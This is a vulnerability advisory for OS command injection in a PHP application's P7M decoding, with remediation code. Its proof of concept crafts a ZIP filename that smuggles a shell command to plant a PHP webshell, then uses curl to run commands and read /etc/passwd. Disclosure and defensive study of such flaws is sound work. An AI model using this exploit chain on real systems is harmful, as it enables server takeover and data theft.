Summary

A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.

Vulnerable Code

File: src/Util/XML.php:100

public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

The Problem:

• The $file parameter is passed directly into exec() without sanitization
• Although wrapped in double quotes, an attacker can escape them
• The filename comes from uploaded ZIP archives (user-controlled)

Attack Vector

Entry Points:

1. plugins/importFE_ZIP/actions.php:126 (when automatic import is enabled)

   foreach ($files_xml as $xml) {
       if (string_ends_with($xml, '.p7m')) {
           $file = XML::decodeP7M($directory.'/'.$xml);  // $xml from ZIP!

2. plugins/importFE/src/FatturaElettronica.php:56 (constructor)

   if (string_ends_with($name, '.p7m')) {
       $file = XML::decodeP7M($this->file);  // $name from user input!

Attack Flow:

1. Attacker creates ZIP with malicious filename
2. Upload ZIP via importFE_ZIP plugin
3. Application extracts ZIP and iterates files
4. For .p7m files, decodeP7M() is called
5. Malicious filename is injected into exec() command
6. Arbitrary command executes as web server user

Proof of Concept

⚠️ IMPORTANT NOTE: PHP's ZipArchive::extractTo() splits filenames on / character. Payload must NOT contain / in commands. Use cd directory && command instead of absolute paths.

Step 1: Create Malicious ZIP

import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Step 2: Upload ZIP

POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--

Step 3: Exploitation Result

Response (500 error is expected - XML parsing fails AFTER command execution):

HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

Verification - Webshell Created:

Step 4: Remote Code Execution

Webshell is publicly accessible without authentication:

$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]

Impact

• Remote Code Execution: Full server compromise
• Data Exfiltration: Access to all application data and database
• Privilege Escalation: Potential escalation if web server runs with elevated privileges
• Persistence: Install backdoors and maintain access
• Lateral Movement: Pivot to other systems on the network

Prerequisites

• Authenticated user with access to invoice import functionality

Remediation

Input Sanitization

public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

or

Validate Filename Before Processing

// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

Credit

Discovered by: Łukasz Rybak